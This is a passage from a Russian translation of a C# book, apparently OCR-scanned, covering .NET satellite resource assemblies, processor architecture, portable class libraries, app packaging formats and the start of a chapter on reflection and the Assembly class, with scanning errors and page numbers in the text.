Сборки листинга 12.8 в самое начало метода Main из листинга 12.7, чтобы заста- вить фреймворк .NET использовать британскую культуру при поиске ресурсов. Листинг 12.8. Изменение стандартной культуры Thread. CurrentThread.CurrentUICulture = new System.Globalization.Cultureinfo("en-GB”); Какое отношение это имеет к сборкам? Если вы заглянете в выходные данные компиляции в каталоге bin\Debug (или bin\Release, если вы вы- берете для построения конфигурацию Release), вы заметите, что, помимо обычного исполняемого файла и файлов, содержащих информацию об отладке, среда разработки Visual Studio создала подкаталог с именем en- GB, который содержит файл сборки с именем ResourceExample.resource», dll. (ResourceExample — имя моего проекта. Если вы создали проект под названием SomethingElse, вы увидите файл SomethingElse.resources.dll.) Имя этой сборки будет выглядеть следующим образом: ResourceExample.resources, Version=l.О.О.О, Culture=en-GB, PublicKeyToken=null Номер версии и маркер открытого ключа будут совпадать с однои- менными атрибутами основного проекта — в этом примере я сохранил стандартный номер версии и не дал сборке строгое имя. Но обратите вни- мание на культуру. Вместо обычного значения neutral там указано en-GB, та же строка, которую можно видеть в имени файла второго ресурса, по- мещенного в проект. При добавлении новых файлов ресурсов с другими именами культуры будет создан каталог, содержащий сборки для каждой культуры. Они называются вспомогательными сборками ресурсов. Когда вы в первый раз запросите ресурс у класса ResourceManager, он будет искать вспомогательную сборку ресурсов с такой же культурой, как текущая культура потока графического интерфейса. Он постарает- ся загрузить сборку, используя имя, продемонстрированное несколько абзацев назад. Если он не найдет сборку с таким же именем, то пробует более общее имя — если сборка с приставкой en-GB не будет обнаружена, класс ResourceManager попытается найти сборку с приставкой еп, указы- вая как предмет поиска английский язык без привязки к определенно- му местоположению. Если и в этом случае ресурс не обнаружится (или если сборка будет найдена, но в ней не окажется требуемого ресурса), произойдет откат к нейтральному ресурсу, встроенному в основную сборку. 665
Глава 12 Загрузчик сборок среды выполнения CLR, если указана не неЛ тральная культура, проводит зондирование в других местах. Он пров! ряет подкаталог с именем культуры. Вот почему среда разработки Visu^ Studio разместила мою сопутствующую ресурсную сборку в каталоя en-GB. Вы можете разместить специфические для какой-либо культур! сборки в глобальном кэше сборок, если они имеют строгие имена. СреЦ выполнения CLR рассматривает культуру как часть имени сборки точяй так же, как и номер версии, поэтому я могу установить сколько угод- но сборок с именем ResourceExample. resources и одинаковыми номеров версии и маркером открытого ключа, при условии, что все они будут личаться культурой. ° У Поиск ресурсов, связанных с определенной культурой, требуя временных затрат. Они не очень велики, но если вы пишете приложу ние, которое никогда не будет локализовано, вам следует отказаться Я этой возможности. Однако вы все еще имеете в распоряжении клав ResourceManager — более удобный способ встраивания двоичных ре сурсов, в отличие от потоков манифеста ресурсов напрямую. Избежал временных затрат можно, указав .NET, что ресурсы, встроенные непо- средственно в главной сборке, правильны для заданной культуры. Вы можете сделать это с помощью атрибута уровня сборки, продемонстрв- рованного в листинге 12.9. Листинг 12.9. Определение культуры для встроенных ресурсов [assembly: NeutralResourcesLanguage("en-US")] Когда приложение с этим атрибутом запущено на компьютере с дру- гой локалью, класс ResourceManager не станет пытаться обнаружить ло- кализованные ресурсы. Будут использоваться ресурсы, скомпилировав- ные вместе с вашей основной сборкой. Архитектура процессора Вы можете увидеть еще одну часть имени сборки, а именно: до- полнительную информацию об архитектуре процессора. Если вы установите значение параметра равным msil, это укажет на независи- мость от архитектуры процессора (сокращение от Microsoft IL, кото- рое означает, что сборка-Содержит исключительно управляемый ксц и не предъявляет никаких требований к архитектуре)/ Другие воз- можные значения: х86 (классический 32-разрядный Intel), amd64 (64- 666
Сборки битные расширения для х86), ia64 (Itanium) и arm (ARM, используе- мые в устройствах с Windows Phone и некоторых других планшетных компьютерах). Архитектура amd64 не является специфичной для AMD — она включает в себя 64-битные расширения архитектуры про- цессора х86 от компании Intel. Среда выполнения CLR называет эту архитектуру amd64 вместо широко распространенной х64, потому что компания AMD первой изобрела данные расширения, a Intel позднее лишь воспользовалась чужими наработками. Эта архитектура была до- вольно новой, когда среда выполнения CLR впервые предоставила ее поддержку, и большинство процессоров, поддерживающих ее, создала компания AMD. Гибридные сборки, содержащие смесь управляемого и неуправляе- мого кода, например, производимые компилятором C++, будут созда- ваться для какой-то конкретной архитектуры. И, как упоминалось ранее, использование служб, обеспечивающих совместимость, может также означать, что сборка, не содержащая зависимого от процессора кода, тем не менее способна работать только под конкретной архитектурой (на- пример, это может зависеть от неуправляемых DLL или СОМ-компо- нентов, доступных только в 32-битной форме). Вы заметили, что ни одно из имен сборок, продемонстрированных мной, не было определено для конкретной архитектуры. Это произошло потому, что первый вариант фреймворка .NET поддерживал только ар- хитектуру х86, и потому такого компонента имени не существовало. Из соображений обратной совместимости ни один из API, возвращающих отображаемое имя сборки (в виде строки), не включает компонент ар- хитектуры, потому что если бы такое произошло, могли бы быть про- блемы со старым кодом, не ожидающим получения пятого компонента. Вам следует включать этот компонент при вызове метода Assembly. Load, что показано в листинге 12.10. Листинг 12.10. Определение архитектуры var asm = Assembly.Load("ResourceExample, Version=1.2.0.0, Culture=neutral, " + "PublicKeyToken=null, ProcessorArchitecture=amd64"); Если вы указываете конкретную архитектуру при вызове метода Load, он не сработает, если архитектура не совместима с таковой за- пущенного процесса. Сборка с атрибутом ms И может быть загружена в любой процесс, но сборку с атрибутом amd64 нельзя загружать для 667
Глава 12 в 32-разрядного процесса. Архитектура процесса всегда определяется приложением, а не его компонентами. Когда вы запускаете приложе- ние .NET на 64-битном компьютере, среда выполнения CLR должна выбрать, следует запускать его в 32-разрядном или в 64-разрядном процессе, и, приняв это решение, впоследствии она не сможет изменить его. Поскольку сборки, архитектура которых несовместима с процес- сом, не запустятся, библиотекам DLL лучше быть независимыми от ар- хитектуры, если возможно. Фактически вы можете пойти еще дальше и создавать DLL, нейтральные для многих платформ, на которых за- пускается фреймворк .NET. Переносимые библиотеки классов Когда вы создаете библиотеку классов, обычно нужно решить, бу- дет ли вы писать ее для полной версии фреймворка .NET, которую можно встретить на персональных компьютерах и серверных системах, или для одного из более ограниченных вариантов, таких как Silverlight, Windows Phone или .NET Core Profile. Каждая из этих целей предлага- ет ту или иную функциональность фреймворка .NET. Тем не менее есть большой набор общих возможностей, и, если вы пишете библиотеку, можно создать ее так, чтобы она могла работать на несколько целей. Для поддержки этого среда разработки Visual Studio 2012 позволяет создавать проекты типа Portable Class Library (Переносимая библиоте- ка классов). Если вы откроете вкладку Library (Библиотека) на странице свойств проекта переносимой библиотеки классов, то увидите, что вместо обыч- ного выпадающего списка, откуда вы обычно выбираете версию фрейм- ворка .NET для сборки там находится кнопка, при нажатию на которую появляется окно, показанное на рис. 12.3. В этом окне вы можете выбрать несколько фреймворков, а также минимальную поддерживаемую версию каждого из них. (К моменту написания книги была выпущена только одна версия .NET Core Profile для Windows 8, так что для этой платформы нет выпадающего списка, как и для ХЬох 360.) Я выбрал наиболее старшие версии из доступ- ных на рис. 12.3, поскольку переносимые библиотеки классов не мо- гут быть использованы более ранними версиями любых фреймворков (они работают только с теми фреймворками, которые их поддержива- ют, а более старые версии Silverlight и .NET не предоставляют такой поддержки). 668
Рис. 12.3. Выбор целевой платформы Среда разработки Visual Studio автоматически освобождает вас от использования API-интерфейсов, недоступных для вашей выбранной цели сборки и версий. IntelliSense покажет только доступнее типы и члены, и сгенерируется ошибка компиляции, если вы попытаетесь на- писать код, который использует функции, не существующие для одной или нескольких выбранных целей. Общий набор API может оказаться меньше, чем вы думаете. Напри- мер, приложения на основе WPF, Silverlight, Windows Phone и .NET Core для Windows 8 поддерживают разработку пользовательского ин- терфейса с помощью XAML, поэтому у вас, вероятно, появится мысль, что можно написать общий интерфейс для нескольких компонентов. Но, несмотря на поверхностное сходство, все они реализуются по-разному, так что этот вариант не подойдет. Переносимая библиотека классов мо- жет использовать только те функциональные возможности, которые действительно одинаковы для всех вариантов фреймворка. Развертывание упакованных приложений Несмотря на то что сборки являются единицами развертывания, некоторые сценарии требуют дополнительного уровня упаковки для развертывания всего приложения. Это позволяет обернуть все необхо- димые приложению файлы в один элемент, даже если оно использует несколько библиотек или других ресурсов. Подобная упаковка являет- 669
Глава 12 ся обязательной для приложений на основе Silverlight, Windows Phoni и .NET Core, но не для настольных приложений Windows (фреймворк! интерфейсов настольных приложений, WPF и Windows Forms, достуи ны только в полной версии .NET). Хотя разные системы упаковки ста жат одному и тому же и используют аналогичные концепции, точны! детали реализации отличаются для каждой цели. Приложения с интерфейсом в стиле Windows 8 Если вы пишете программу с интерфейсом в стиле Windows 8, вы должны предоставить пакет приложения. Такие приложения предна- значены для установки через Windows Store, и в качестве части процес- са развертывания, вы, как правило, загружаете пакет приложения с по- мощью сервиса магазина приложений Microsoft. Этот пакет включает в себя чуть больше файлов, чем на самом деле будет загружено поль- зователями — компания Microsoft предоставляет для скачивания лишь часть того, что вы загрузили. Загружаемый пакет обычно имеет расширение .appxupload и исполь- зует популярный формат файлов ZIP. В нем находятся два файла с рас- ширениями .аррх и .appxsym, также в формате ZIP. Расширение .appxsyn содержит символы отладки, которых не будет на компьютерах конечных пользователей. Компания Microsoft сохраняет символы для автоматизи- рованного анализа любых отчетов о сбоях, полученных от ваших при- ложений. Само приложение находится в ZIP-файле формата .аррх, кото- рый впоследствии окажется на пользовательском компьютере. Файл формата .аррх содержит все необходимое для работы вашего приложения. Он включает в себя скомпилированный бинарный фаиж приложения, все сборки, от которых оно зависит и которые не встрой ны во фреймворк, все файлы разметки, определяющие внешний вид и структуру пользовательского интерфейса, и любые другие файлы, нет обходимые вашему приложению, такие как растровые изображения ил| мультимедиа. Кроме того, он содержит XML-файл манифеста, которы! предоставляет информацию о приложении, включая заголовок, сведе- ния об издателе, а также логотип, используемый в магазине приложени! Windows Store. Манифест также указывает, в каких сборке и типе нахо- дится точка входа в приложение. Наконец, пакет содержит цифрово! сертификат и подпись, которая применяется ко всему его содержимому (Строгие имена не могут быть использованы для проверки правильно» сти пакета, поскольку не все файлы в нем представляют собой сборку 670 i
Сборки .NET, и в любом случае должна-быть обеспечена возможность проверки целостности всего пакета, а не отдельных его компонентов.) ClickOnce и ХВАР Полная версия фреймворка .NET включает в себя два фреймворка пользовательского интерфейса. Старший из них, Windows Forms, пред- ставляет собой .NET-обертку вокруг пользовательского интерфейса Win32 API — того самого, который всегда применялся в классических приложениях C++ для Windows. Другой фреймворк, WPF, не являет- ся оберткой. Он был разработан специально для .NET и, в отличие от типичных классических интерфейсов Win32, применяет возможности рендеринга DirectX, чтобы использовать больше возможностей совре- менных видеокарт. Оба вида приложения могут быть установлены с по- мощью старой техники создания файла Windows Installer (.msi), которая копирует все необходимые файлы в каталог Program Files, а также при необходимости устанавливая другие файлы. Однако оба фреймворка пользовательских интерфейсов поддерживают и другую модель уста- новки, ориентированную на использование сети Интернет, — она назы- вается ClickOnce. При применении ClickOnce вы пишете XML-манифест (его формат не связан с тем, который был рассмотрен в разделе о приложениях с ин- терфейсом в стиле Windows 8). В нем должны быть описаны все файлы, составляющие приложение, а также приведены их URL (как правило, относительные, поскольку содержимое приложения обычно хранится в непосредственной близости от манифеста). Вы можете либо указать веб-браузеру URL манифеста, либо запустить URL непосредственно в оболочке Windows (например, вставив его в диалоговом окне Run (Выполнить)). Механизм запуска URL из оболочки Windows — расши- ряемый, и фреймворк .NET использует его, чтобы определить, когда ма- нифест ClickOnce запущен. Когда это происходит, фреймворк проверя- ет манифест, и если приложение не предъявляет особых требований по безопасности и способно работать в ограниченной песочнице, он загру- жает все его части и сразу запускает его. Если приложению требуются привилегии для работы (например, возможность считывать и записы- вать произвольные файлы в файловой системе), система ClickOnce либо спросит разрешения у пользователя, либо может отказаться запустить приложение — в зависимости от конфигурации компьютера (админи- страторам позволено управлять этим с помощью групповой политики). 671
Глава 12 Система ClickOnce устанавливает приложение локально — поль- зователь сможет запустить его из меню Пуск, как и любое другое. Она также имеет механизм обновлений. Разработчики приложения контро- лируют загрузку обновлений — имеется возможность назначить авто- матические проверки наличия таковых либо выполнять ее, только если этого захочет пользователь. В любом случае система ClickOnce берет на себя всю работу по загрузке всех частей новой версии приложения и по- следующему переходу на нее. Также она предоставляет механизм отка- та, позволяющий вернуться к предыдущей версии. Манифест ClickOnce XML может включать в себя подпись и хэши всех необходимых файлов. Поэтому вы, как правило, не будете зависеть от строгих имен, желая убедиться, что программа не была подделана; как иве случае с упаковкой Windows 8, ClickOnce позволяет проверить все приложение, включая любые файлы, не содержащие исходных ко- дов, например, такие как растровые изображения. Среда разработки Visual Studio имеет возможность производить все файлы, необходимые для развертывания приложения с помощью ClickOhce. Он также создает веб-страницу, позволяющую начать уста- новку. Эта страница является больше, чем обычной гиперссылкой, ука- зывающей на манифест. Она также содержит скрипт, который обнару- живает, установлена ли на компьютере подходящая версия .NET. Если она не будет найдена, скрипт в первую очередь предложит загрузить и установить фреймворк .NET. Он также имеет логику обнаружения и установки других приложений, в которых может нуждаться ваше, на- пример, SQL Server Express или соответствующей последней версии установщика Windows. Фреймворк WPF поддерживает два способа использования инфра- структуры ClickOnce. Одним из них является обычный запуск настоль- ных приложений, второй — это размещение WPF-приложений в окне веб-браузера. Приложение, которое работает таким образом, называется ХВАР — сокращение от XAML browser application (англ, браузерное при- ложение, использующее XAML). Приложения ХВАР не очень широко распространены, потому что они не поддерживаются во всех популяр- ных браузерах, а также не обеспечивают простого способа, позволяю- щего использовать обработку" предварительных требований, который есть в обычных приложениях ClickOnce, поэтому они требуют наличия подходящей версии фреймворка .NET у конечного пользователя. На практике разработчики, желающие использовать XAML в своих веб- приложениях, как правило, выбирают Silverlight, который оптимизиро- 672
Сборки ван именно для этого сценария. (Приложения ХВАР ввели в первой вер- сии фреймворка WPF, до того как появился'Silverlight. Если бы данная технология существовала уже тогда, не было бы ясно будущее ХВАР.) Приложения для Silverlight и Windows Phone Приложения для Silverlight и Windows Phone версии 7.x развер- тываются из файлов с расширением jcap (произносится как «zap»). По сути это ZIP-файл, содержащий приложение, созданное на основе XAML. Как и в случае приложений, созданных с помощью .NET Core, jrap-файлы используют популярный файловый формат ZIP и включа- ют в себя любые необходимые программе DLL, которые не встроены в сам Silverlight. Кстати, Silverlight предоставляет довольно скупой набор сборок. Поскольку Silverlight работает как плагин для браузера, компания Microsoft хотела сохранить размер загружаемых файлов относитель- но небольшим — Silverlight 5 для 64-разрядных версий ОС Windows, включая файлы, необходимые во время работы приложения, а также библиотеки классов, занимает на жестком диске 12,4 Мб. Получается, что встроенные функции несколько ограничены. Некоторые элементы управления и особенности библиотек, встроенных в другие разновид- ности .NET, были вытеснены из SDK Silverlight и реализованы в виде отдельных компонентов, которые можно включить в jcap-фаил. Так что если вы хотите использовать, скажем, элемент управления Calendar (календарь), вам придется вставить копию библиотеки System, Windows. Controls.dll в ваш jrap-файл. (Это относится не ко всем элементам управ- ления. Сборка System. Windows — встроенная, и она включает в себя наи- более широко используемые элементы управления, такие как Button и ListBox.) Все невстроенные сборки, находящиеся в ссылках вашего проекта, будут скопированы в jrap-файл, вне зависимости от того, нужны они вам или нет. Компилятор C# все еще выполняет свою обычную рабо- ту по удалению неиспользуемых ссылок — если ваш код не применяет явно одну из сборок, на которую имеется ссылка, компилятор будет дей- ствовать так, словно ссылки на нее нет. Тем не менее компилятор не не- сет ответственности за производство файлов с расширением jcap — это отдельная часть процесса сборки. Таким образом, хотя основная сбор- ка вашего приложения не будет содержать ссылки на неиспользуемые сборки, они по-прежнему будут попадать в пакет приложения. Это очень важно: вы могли бы взять элемент управления из DLL, расположенной 673
Глава 12 в файле разметки пользовательского интерфейса (в XAML-файле), не обращаясь явно к любым типам данной DLL из кода C# (подобное ка- жется немного необычным, но вполне возможным). Если вы делаете это, требуемая DLL должна присутствовать в jrap-файле. Файлы с расширением jcap способны включать в себя и другие дво- ичные ресурсы, такие как растровые изображения или звуковые фай- лы. Конечно, вы можете также встраивать их непосредственно в сборки, которые содержит .хяр-файл, но одним из преимуществ перемещения их в отдельные файлы является тот факт, что это позволяет заменять различные ресурсы без необходимости в повторной компиляции кода - достаточно повторно упаковать .хяр-файл. Поскольку jcap-файлы могут включать несколько DLL, вам нужно указать, какая из них содержит точку входа в вашу программу Поэтому в пакете также должен быть манифест — XML-файл, описывающий со- держание лар-файла и указывающий, в какой сборке и каком типе со- держится точка входа в приложение. Обратите внимание, что формат файла манифеста не связан с форматами манифестов, используемых любыми приложениями ClickOnce или Windows 8, а также с манифе- стами сборок или Win32. Среда разработки Visual Studio автоматически создает манифест и объединяет все файлы в один jcap-файл при компи- ляции проекта Silverlight. Защита В главе 3 был описан ряд спецификаторов доступа, которые можно применять к типам и их членам, таких как private или public. В главе6 я продемонстрировал ряд дополнительных механизмов доступа при ис- пользовании наследования. Сейчас нам следует быстро пересмотреть их, поскольку сборки в этом вопросе также играют свою роль. В главе 3 вам встречалось ключевое слово internal, и я говорил, что классы и методы, отмеченные им, доступны только в пределах одного компонента, — это несколько расплывчатая формулировка, к которой пришлось прибегнуть, поскольку к тому моменту не были рассмотрены сборки. Теперь, когда вы о них уже знаете, я могу спокойно сказать, что ключевое слово internal указывает, что элемент или тип должны быть доступными только для кода, находящегося в одной и той же сборке. (В маловероятном случае, когда вы создаете многомодульные сборки, можно использовать внутренний тип, определенный в другом модуле, 674
Сборки если он является частью той же сборки.) Аналогично члены класса со спецификаторами доступа protected internal доступны в производных типах, а также только в коде, определенном в той же сборке. Резюме Сборка представляет собой единицу развертывания, почти всегда состоящую из одного файла, как правило, имеющего расширение .dll или .ехе. Она является контейнером для типов и кода. Тип принадле- жит только одной сборке, и она формирует его идентификатор — среда выполнения CLR способна отличить два типа с одинаковым именем, расположенных в одном и том же пространстве имен, если они опреде- лены в разных сборках. Сборки имеют сложные имена, состоящее из простого текстового имени, номера версии, включающего четыре части, строки культуры, архитектуры целевого процессора, и, по возможно- сти, маркера открытого ключа. Установки с маркером открытого ключа называются строго именованными сборками, и их надлежит подписы- вать с помощью секретного ключа, соответствующего открытому, из ко- торого был получен маркер. Сборки со строгими именами либо могут быть развернуты рядом с приложением, использующим их, либо могут храниться в особом репозитории компьютера, называемом глобальным кэшем сборок (Global Assembly Cache, GAC). Сборки, не имеющие стро- гих имен, не попадают в GAC, потому что нет никакой гарантии, что их имена окажутся уникальными. Версии фреймворка .NET, отличающие- ся от полной настольной или серверной версии, не предоставляют рас- ширяемого кэша сборок, требуя от каждого приложения поставки авто- номного пакета, включающего в себя все сборки, которые не содержатся во фреймворке. Среда выполнения CLR может загружать сборки автоматически по требованию, что обычно происходит при первом запуске метода, содер- жащего код, который зависит от типа, определенного в соответствующей сборке. Вы также имеете возможность загружать сборки явно, если вам 1 это нужно. Большинство сборок создается для конкретной платформы и версии .NET, но допускается создавать переносимые библиотеки клас- сов, способные работать на нескольких платформах. Как упоминалось ранее, каждая сборка содержит исчерпывающие метаданные, описывающие все входящие в нее типы. В следующей гла- ве я покажу, как получить к ним доступ во время выполнения прило- жения. 675
Глава 13 ОТРАЖЕНИЕ Среда выполнения CLR знает многое о типах, которые определены и используются в наших программах. Она требует предоставить подроб- ные метаданные обо всех сборках, в них описан каждый член каждого типа, в том числе и частные детали их реализации. Она опирается на эту информацию для выполнения критических функций, таких как JIT- компиляция и сборка мусора. Тем не менее она не хранит эти знания только у себя. Доступ к подробной информации о типах предоставля- ет API-интерфейс отражения, благодаря чему ваш код может получать всю информацию, доступную среде выполнения. Более того, вы можете использовать отражение для выполнения определенных действий. На- пример, отраженный объект, представляющий метод, не только описы- вает имя и сигнатуру метода, но позволяет и вызывать его. В некоторых версиях фреймворка .NET вы можете пойти еще дальше и генерировать код во время выполнения программы. Отражение особенно полезно в расширяемых структурах, потому что они могут использовать его для адаптации своего поведения во вре- мя выполнения приложения на основе структуры вашего кода. Напри- мер, свойства среды разработки Visual Studio применяют отражение чтобы обнаружить общедоступные свойства, предлагаемые компонен- том, поэтому если вы создали компонент, который может потребоваться при создании дизайна приложения, например элемент пользователь- ского интерфейса, вам не нужно ничего особенного, чтобы сделать его свойства доступными для редактирования, — среда разработки Visual Studio найдет их автоматически. * Многие фреймворки, основанные на отражении, могут ав- . тематически обнаруживать всю необходимую информацию, —Л?»'а также позволять компонентам явно дополнять ее. Напри- мер, хотя вам не нужно делать ничего для того, чтобы включить поддержку редактирования на панели Properties (Свойства), можно настроить механизмы категоризации, описания и ре- дактирования,.если вы этого хотите. Обычно это достигается с помощью атрибутов, которые рассматриваются в главе 15. 676
Отражение Типы отражений API-интерфейс отражения определяет различные классы в про- странстве имен System.Reflection. Эти классы имеют структурную связь, которая отражает способ работы сборок и системы типов. На- пример, сборка, содержащая тип, является частью его идентификатора, поэтому отраженный класс, представляющий этот тип (Typeinfo) имеет свойство Assembly, возвращающее объект, представляющий собой со- держащую его сборку. Вы можете перемещаться в обоих направлени- ях — существует возможность обнаружить все типы сборки с помощью свойства Defined Types класса Assembly. Приложение, которое может быть расширено путем загрузки библиотек DLL плагина, обычно ис- пользует эту возможность, чтобы найти все типы, предоставляющие каждый плагин. На рис. 13.1 показаны отражаемые типы, соответствую- щие типам фреймворка .NET, их членам и компонентам, которые содер- жат их. Стрелки представляют отношения содержания. (Как и в случае типов и сборок, можно перейти в обоих направлениях.) На рис. 13.2 проиллюстрирована иерархия наследования этих ти- пов (за исключением типа Typeinfo, вскорости мы его рассмотрим). Она показывает несколько дополнительных абстрактных типов, Memberinfo и MethodBase, являющихся общими для различных классов отражений, которые обладают определенным количеством общих черт. Например, конструкторы и методы имеют списки параметров, и механизм их про- верки обеспечивает общий базовый класс, MethodBase; все члены типов имеют кое-какие общие черты, например доступность, так что все, что 677
Глава 13 является (или может являться) членом типа, представляется в отраже- нии объектом, тип которого унаследован от Memberinfo. Рис. 13.2. Иерархия наследования в отражении Все классы, показанные на рис. 13.2, являются абстрактными. Точ- ный тип, что вы увидите во время выполнения, будет зависеть от ха- рактера типа, который вы проверяете, — среда выполнения CLR под- держивает отражение как для обычных объектов, так и для объектов, не являющихся частью фреймворка .NET, с помощью служб совмести- мости, описанных в главе 21, и поставляет соответствующие различные реализации этих абстрактных типов. Также существует возможность настроить внешний вид, предлагаемый API-интерфейсом отражения, что будет описано ниже в разделе «Контексты отражения». В этом слу- чае вы снова столкнетесь с различными производными типами. Тем не менее всегда абстрактные базовые классы, показанные на этих диаграм- мах, будут являться классами, с которыми вы станете работать напря- мую, несмотря на то что среда выполнения CLR предоставит различные конкретные типы во время выполнения. Недавно произошли некоторые изменения в способе отражения типов, в различных изданиях фреймворка .NET реализация может от- личаться. Смотрите следующую врезку «Туре, Typeinfo и .NET Core Profile» для получения подробной информации. Туре, Typeinfo и .NET Core Profile Версия .NET, доступная для приложений с интерфейсом в стиле Windows 8, которую иногда называют .NET Core Profile (базовый про- филь .NET), отличается от полной версии, доступной для серверных и настольных приложений. (Классические настольные приложения ра- 678
Отражение ботают с полной версией, даже когда они запущены в ОС Windows 8. Версия Core Profile предназначена только для сенсорных полноэкран- ных приложений, появившихся в Windows 8.) Переносимые библиоте- ки используют общий для любого профиля набор функциональности, однако применение API-интерфейса отражения вызывает определен- ные трудности, потому что версия Core Profile не является простым подмножеством платформы .NET: имеется существенная разница в использовании класса Typeinfo и родственного ему класса Туре. До появления .NET 4.5 не существовало никакого класса Typeinfo. Вместо него для отражения использовался класс Туре из простран- ства имен System. Проблема заключается в том, что отраженные объ- екты довольно объемные, что не очень хорошо, поскольку существу- ет много сценариев, где полезно иметь способ идентификации типа; не весь код, который использует тип туре, хочет отражать его с его же помощью. Хотя .NET имеет более легкое представление для типов — маркеры метаданных, — мы не можем их использовать. Они представ- ляют собой целые числа, что затрудняет их распознавание для среды выполнения CLR — ей трудно убедиться, что они применяются безо- пасно, и она позволяет вам использовать их только в определенных сценариях. В языке C# они иногда применяются от вашего имени (на- пример, при создании делегатов), но обычно вы их совсем не видите. Поскольку приложения с интерфейсом в стиле Windows 8 UI являют- ся новым видом программы, нет никакой необходимости в строгой обратной совместимости, поэтому компания Microsoft воспользо- валась этой возможностью, чтобы выделить поддержку выполнения отражения типа (которая сейчас находится в Typeinfo) и определе- ния типа (Туре). Это дает возможность получить легковесное пред- ставление типа, когда вам не нужно использовать отражение. И, как это часто бывает, легковесный тип Туре также может предоставить определенную основную информацию, такую как имя типа. Удивление вызывает тот факт, что, хотя классы Туре и Typeinfo суще- ствуют как в полной версии платформы .NET, таки в версии Core Profile, они занимают при этом разное положение в иерархии классов. В пол- ной версии .NET 4.5 тип Typeinfo происходит от типа Туре (который яв- ляется производным от Memberinfo), и если вы хотите, вы можете про- должать использовать для отражения тип туре. Однако в версии Core Profile тип Typeinfo происходит непосредственно от типа Memberinfo, и все, что нужно для отражения, доступно только в этом типе. Если вы хотите написать код, который работает на всех формах .NET, использовать тип Туре нормально. Если же вам просто требуется определить тип или получить базовую информацию о нем, вам сле- дует использовать тип Typeinfo, если вам нужно отражение. (Вы мо- жете вызвать метод GetTypeinfo объекта класса Туре, чтобы получить 679
Глава 13 класс Typeinfo. В полной версии фреймворка .NET объект класса Туре возвращает сам себя — получается, что объекты класса Туре, пре- доставляемые средой выполнения CLR, являются объектами типа Typeinfo.) Использование объекта типа Туре для отражения (что было единственным доступным вариантом вплоть до появления .NET 4.5) будет работать в полной версии фреймворка, но получается, что ваш код не совместим с версией Core Profile и, следовательно, не может попасть в переносимую библиотеку, которая поддерживает также приложения с интерфейсом в стиле Windows 8. Класс Assembly Класс Assembly представляет собой одну сборку, что достаточно пред- сказуемо. Если вы создаете систему плагинов или какой-либо другой вид фреймворка, которому необходимо загрузить и использовать поль- зовательские библиотеки DLL (например, для юнит-тестирования), тип Assembly — это то, с чего следует начать. Как было показано в главе 12, статический метод Assembly.Load принимает имя сборки и возвращает объект'для данной сборки. (Это метод загрузит сборку в случае необ- ходимости, но если она уже загружена, он просто вернет ссылку на со- ответствующий объект класса Assembly.) Но есть и другие способы по- лучить объекты данного типа. Класс Assembly определяет три контекстно зависимых статических метода, каждый из которых возвращает объект типа Assembly. Метод GetEntryAssembly метод возвращает объект, представляющий собой файл с расширением .ехе, содержащий метод Main вашей программы. (Не все приложения имеют точку входа. Например, для веб-приложения, раз- мещаемого в среде выполнения ASP.NET, этот метод вернет значение null.) Метод GetExecutingAssembly возвращает сборку, содержащую ме- тод, из которого вы его вызываете. Метод GetCallingAssembly поднима- ется вверх по стеку на один уровень, и возвращает сборку, содержащую код, вызвавший метод GetCallingAssembly. Оптимизация, которую проводят ЛТ-компиляторы, иногда мо- *<?; 4 жет Дать неожиданные результаты, если используются мето- ---^-3?’ ДЫ GetExecutingAssembly и GetCallingAssembly. Встраивание ме- тодов и хвостовая оптимизация могут заставить эти методы возвращать сборки для методов, которые находятся на один 680
Отражение кадр стека ближе, чем вы ожидаете. Вы можете предотвра- тить оптимизацию встраивания, предварив метод атрибутом MethodlmplAttribute, передавая флаг Nolnliningr из перечис- ления MethodimplOptions. (Пользовательские атрибуты описа- ны в главе 15.) Не существует явной возможности отключить хвостовую оптимизацию рекурсии, но она будет применяться только в том случае, когда конкретный вызов метода — это по- следнее, что делает вызывающий метод перед возвратом. Метод GetCallingAssembly иногда может быть полезен для диагно- стического журналирования кода, поскольку он предоставляет инфор- мацию о методе, вызвавшем ваш метод. Метод GetExecutingAssembly является менее полезным: вы, вероятно, уже знаете, в какой сборке бу- дет находиться вызывающий код, поскольку его писали вы. Он все еще может пригодиться для получения объекта типа Assembly для создавае- мого вами компонента, но существуют и другие способы. Объект типа Type Info, который будет описан в следующем разделе, предоставляет свойство Assembly. Листинг 13.1 использует эту особенность, чтобы по- лучить объект типа Assembly через содержащийся в ней класс. Опыт показывает, что этот метод, похоже, действует быстрее, что совсем не удивительно, потому что он делает меньше работы — оба приема долж- ны получить отражение объектов, но один из них также обязан исполь- зовать стек. Листинг 13.1. Получение собственной сборки через тип class Program { static void Main(string[] args) { Assembly me = typeof(Program).GetTypeInfo().Assembly; Console.WriteLine(me.FullName); } Для полной версии фреймворка .NET, если вы хотите использо- вать сборку, расположенную в определенном месте на диске, вы можете применить метод LoadFile, описанный в главе 12. Кроме того, другой статический метод класса Assembly, ReflectionOnlyLoadFrom, позволяет загрузить сборку таким образом, что вы можете просмотреть информа- цию о типе, но не код, выполняемый в сборке; также он не будет предо- ставлять все сборки, от которых зависит. Этот способ вполне подходит 681
Глава 13 для загрузки сборок, если вы создаете инструмент, отображающий или тем или иным образом обрабатывающий информацию о компоненте, но не желающий запускать его код. Есть несколько причин, по которым может быть важно избегать загрузки сборки обычным способом с помо- щью этого инструмента. Загрузка сборки и проверка ее типов иногда мо- гут вызвать выполнение кода (например, статических конструкторов) в этой сборке. Кроме того, если вы загружаете сборку только для вы- полнения отражения, архитектура процессора не имеет существенного значения, так что вы можете загрузить 32-битную DLL в 64-разрядный процесс или проверить сборку для процессоров ARM в процессе х86. Кроме того, некоторые проверки безопасности не производятся, если код не запущен, так что можно загрузить для отражения сборки с отло- женной подписью, даже на компьютере, где сборка не зарегистрирована, и проверка сигнатуры строгого имени выполняться не будет. После получения объекта класса Assembly с помощью любого из вы- шеупомянутых механизмовон может дать определенную информацию. Например, свойство FullName предоставляет отображаемое имя. (Из со- ображений обратной совместимости, рассмотренных в главе в главе 12, оно не включает в себя компонент архитектуры процессора.) Либо вы можете; вызвать метод GetName, который возвращает объект типа AssemblyName, обеспечивая легкий программный доступ ко всем компо- нентам имени сборки, а также прочую информацию, такую как кодовая база (место, откуда была загружена сборка). Существует возможность получить список всех сборок, от которых зависит указанная сборка. Это можно сделать путем вызова метода GetRef erencedAssemblies (не поддерживается версией .NET Core Profile). Если вы вызываете этот метод для сборки, которую сами же и создавали, этот метод не обязательно вернет все сборки, которые вы видите в раз- деле References (Ссылки) на панели Solution Explorer (Обозреватель решений), так как компилятор C# удаляет неиспользуемые ссылки. Сборки содержат типы, поэтому вы можете найти объекты типа Туре, представляющие эти типы при вызове метода GetType объекта типа Assembly, передав ему имя 